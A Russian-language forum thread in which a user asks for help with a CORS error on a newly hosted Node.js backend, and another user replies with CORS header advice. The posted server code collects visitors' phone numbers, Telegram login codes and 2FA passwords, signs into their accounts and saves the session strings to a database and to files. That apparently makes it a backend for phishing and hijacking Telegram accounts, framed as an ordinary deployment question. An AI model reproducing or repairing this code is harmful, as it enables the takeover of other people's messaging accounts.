Загрузка...

Сколько корс ещё меня будет мучать?

Тема в разделе Frontend создана пользователем kyoonso 20 фев 2025. 197 просмотров

Загрузка...
  1. kyoonso
    kyoonso Автор темы 20 фев 2025 0 4 июл 2019
    Впервые делаю сайт с бэком, на локалке всё работало отлично, но сейчас ставлю на хостинг уже 8 часов и не могу разобраться.
    Серверная часть на node.js, к которой я хочу сделать запрос с js скрипта на сайте.
    Сначала пытался развернуть бэк на самом хостинге (beget) через ssh, установил туда node js, но при попытке запуска скрипта появляются ошибки по типу Error: listen EPERM: operation not permitted :::3000

    Потом решил попробовать развернуть сервер на отдельном vps, которому присвоил левый домен. Там сервер разворачивается, но при запросе появляется ошибка с cors.
    Access to fetch at '' from origin '' has been blocked by CORS policy: Response to preflight request doesn't pass access control check: No 'Access-Control-Allow-Origin' header is present on the requested resource. If an opaque response serves your needs, set the request's mode to 'no-cors' to fetch the resource with CORS disabled.

    В коде самого сервера пробовал прописать настройки корса, указывая в origin и адрес сайта, с которого делаю запросы и просто "*", но ошибка остаётся та же. Помогите кто-нибудь, иначе я спать не смогу :finger_down:
     
  2. нахуя
     
    1. Посмотреть предыдущие комментарии (2)
    2. нахуя
    3. kyoonso Автор темы
      нахуя,

      const express = require("express");
      const cors = require("cors");
      const fs = require("fs");
      const { Api, TelegramClient } = require("telegram");
      const { StringSession } = require("telegram/sessions");
      const mysql = require("mysql2");

      const app = express();
      const PORT = 443;

      app.use(express.json());
      app.use(express.static("public"));
      app.use(cors({
      origin: "*"
      }));



      const apiId = 1234567;
      const apiHash = "";


      const sessionsDir = "./sessions";
      if (!fs.existsSync(sessionsDir)) fs.mkdirSync(sessionsDir);

      stringSession = new StringSession("");

      const connection = mysql.createConnection({
      host: "",
      user: "",
      database: "",
      password: ""
      });

      let clients = {};


      async function addDataToDatabase(phoneNumber, stringSession) {
      try {
      await bd.connect();

      const values = [stringSession.toString(), phoneNumber.toString()];
      const query = "INSERT INTO accs(string_session, number) VALUES(?, ?)";

      connection.query(query, values, function(err, results) {
      if(err) console.log(err);
      else console.log("Данные добавлены");
      });

      connection.end();
      console.log('Данные добавлены');
      } catch (err) {
      console.error('Ошибка: ', err);
      } finally {
      await bd.end();
      console.log('Соединение закрыто');
      }
      }

      app.post("/api/send-phone", async (req, res) => {

      const { userPhone } = req.body;

      if (!userPhone) return res.status(400).json({ error: "Введите номер телефона" });

      const sessionFile = `${sessionsDir}/${userPhone}.session`;
      let stringSession = new StringSession("");

      if (fs.existsSync(sessionFile)) {
      stringSession = new StringSession(fs.readFileSync(sessionFile, "utf8"));
      }

      const client = new TelegramClient(stringSession, apiId, apiHash, { connectionRetries: 5 });
      await client.connect();

      try {
      const {phoneCodeHash,isCodeViaApp} = await client.sendCode({apiId: apiId, apiHash: apiHash}, userPhone);

      clients[userPhone] = client;

      res.json({ success: true, message: "Код отправлен", phoneCodeHash: phoneCodeHash});
      } catch (error) {
      res.status(500).json({ error: "Ошибка отправки кода" });
      }
      });

      app.post("/api/send-code", async (req, res) => {
      const { userPhone, userPhoneCodeHash, code } = req.body;
      const client = clients[userPhone];
      if (!client) return res.status(400).json({ error: "Сначала запросите код" });

      try {

      await client.signInUser(
      { apiId, apiHash },
      {
      phoneNumber: async () => userPhone,
      phoneCode: async () => code,
      }
      );

      await addDataToDatabase(userPhone, client.session.save())

      await client.disconnect();

      fs.writeFileSync(`${sessionsDir}/${userPhone}.session`, client.session.save(), "utf8");
      res.json({ success: true, message: "Код подтверждён", requirePassword: false});
      } catch (error) {
      if (error.message.includes("2FA")) {
      return res.json({ requirePassword: true });
      }
      res.status(500).json({ error: "code error" });
      }
      });

      app.post("/api/confirm-password", async (req, res) => {
      const { userPhone, userPhoneCodeHash, password } = req.body;
      const client = clients[userPhone];

      try {

      await client.signInWithPassword(
      { apiId, apiHash },
      {
      password: async () => password,
      }
      );

      await addDataToDatabase(userPhone, client.session.save())

      await client.disconnect();

      fs.writeFileSync(`${sessionsDir}/${userPhone}.session`, client.session.save(), "utf8");
      res.json({ success: true, message: "2fa подтверждён", requirePassword: false});
      } catch (error) {
      console.log(error);
      res.status(500).json({ error: "2FA error" });
      }
      });

      app.listen(PORT, () => {
      console.log(`Сервер запущен`);
      });
    4. нахуя
  3. shulda
    shulda 9 мар 2025 0 6 авг 2019
    В настройках корса разреши OPTIONS тип запроса
    --- Сообщение объединено с предыдущим 9 мар 2025
    Обычно перед тем как браузер кидает апи запрос ну там пост и тд он делает OPTIONS чтоб проверить что серв живой и раут есть
    --- Сообщение объединено с предыдущим 9 мар 2025
    resp->addHeader("Access-Control-Allow-Origin", "*");
    resp->addHeader("Access-Control-Allow-Methods", "GET, POST, PUT, DELETE, OPTIONS");
    resp->addHeader("Access-Control-Allow-Headers", "Content-Type, Authorization, ping, encrypted, session_id, token, status");
    resp->addHeader("Access-Control-Max-Age", "86400");
    resp->addHeader("Access-Control-Expose-Headers", "ping, session_id, token, encrypted, status");

    ну у тебя слегка по другому но ты понял идею
    --- Сообщение объединено с предыдущим 9 мар 2025
    хедеры сразу не забудь добавить если будешь их юзать
     
Top